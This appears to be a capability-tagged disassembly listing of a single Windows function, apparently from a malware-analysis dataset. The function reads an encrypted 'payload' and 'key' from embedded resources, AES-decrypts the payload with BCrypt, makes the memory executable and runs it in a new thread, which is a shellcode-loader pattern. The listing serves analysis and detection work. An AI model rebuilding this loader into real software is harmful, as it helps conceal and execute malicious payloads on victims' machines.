Function at 0x1400011e0
Capabilities:
Create thread
Encrypt or decrypt data via bcrypt
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x78
xor ecx, ecx
mov edx, 0xef
lea r8d, [rcx + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov dword [rsp + 0xb0], eax
lea rcx, str.payload_length_is__d_n
call fcn.140001500
mov ecx, dword [rsp + 0xb0]
mov ebp, 0x64
cmp ecx, ebp
cmovg ecx, ebp
xor r15d, r15d
movsxd rdi, ecx
test ecx, ecx
jle 0x140001278
mov ebx, r15d
nop word [rax + rax]
movzx edx, byte [rbx + rsi]
lea rcx, str.0x_x
call fcn.140001500
inc rbx
cmp rbx, rdi
jl 0x140001260
lea rcx, str...._n
call fcn.140001500
mov edx, 0x20
xor ecx, ecx
lea r8d, [rdx - 0x16]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
lea rcx, str.key_length_is__d:_n
mov r14d, eax
call fcn.140001500
cmp r14d, ebp
mov ecx, r14d
cmovg ecx, ebp
movsxd rbp, ecx
test ecx, ecx
jle 0x1400012f8
mov rbx, r15
nop
movzx edx, byte [rbx + rdi]
lea rcx, str.0x_x
call fcn.140001500
inc rbx
cmp rbx, rbp
jl 0x1400012e0
lea rcx, str...._n
call fcn.140001500
xor r9d, r9d
lea rdx, [0x1400220e0]
xor r8d, r8d
lea rcx, [rsp + 0x58]
call sub.bcrypt.dll_BCryptOpenAlgorithmProvider
test eax, eax
jns 0x14000133f
mov edx, eax
lea rcx, str.BCryptOpenAlgorithmProvider_with_BCRYPT_AES_ALGORITHM:_error___x_n
call fcn.140001500
mov eax, 1
add rsp, 0x78
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov rbx, qword [rsp + 0x58]
lea rax, [rsp + 0xc0]
mov rcx, rbx
mov dword [rsp + 0x28], r15d
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0xb8]
lea rdx, str.ObjectLength
call sub.bcrypt.dll_BCryptGetProperty
test eax, eax
jns 0x140001382
lea rcx, str.BCryptGetProperty_with_BCRYPT_OBJECT_LENGTH:_error___x_n
mov edx, eax
jmp 0x140001328
mov ecx, dword [rsp + 0xb8]
call fcn.1400056f0
mov r9d, dword [rsp + 0xb8]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x30], r15d
mov r8, rax
mov dword [rsp + 0x28], r14d
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call sub.bcrypt.dll_BCryptGenerateSymmetricKey
test eax, eax
jns 0x1400013c7
lea rcx, str.BCryptGenerateSymmetricKey:_error___x_n
mov edx, eax
jmp 0x140001328
movsxd rbx, dword [rsp + 0xb0]
mov rdi, qword [rsp + 0x60]
mov rcx, rbx
call fcn.1400056f0
mov dword [rsp + 0x48], 1
mov rbp, rax
lea rax, [rsp + 0xb0]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov r8d, ebx
mov dword [rsp + 0x38], ebx
mov rdx, rsi
mov qword [rsp + 0x30], rbp
mov rcx, rdi
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call sub.bcrypt.dll_BCryptDecrypt
test eax, eax
jns 0x14000142a
mov edx, eax
lea rcx, str.BCryptDecrypt:_error___x_n
jmp 0x140001328
test rbp, rbp
je 0x14000132d
mov edx, dword [rsp + 0xb0]
lea rcx, str.plain_length_is__d:_n
call fcn.140001500
mov edx, dword [rsp + 0xb0]
mov rcx, rbp
call fcn.140001000
mov edx, dword [rsp + 0xb0]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0xb0]
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call fcn.140015cb0
mov edx, dword [rsp + 0xb0]
lea r9, [rsp + 0xc8]
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000132d
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add rsp, 0x78
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret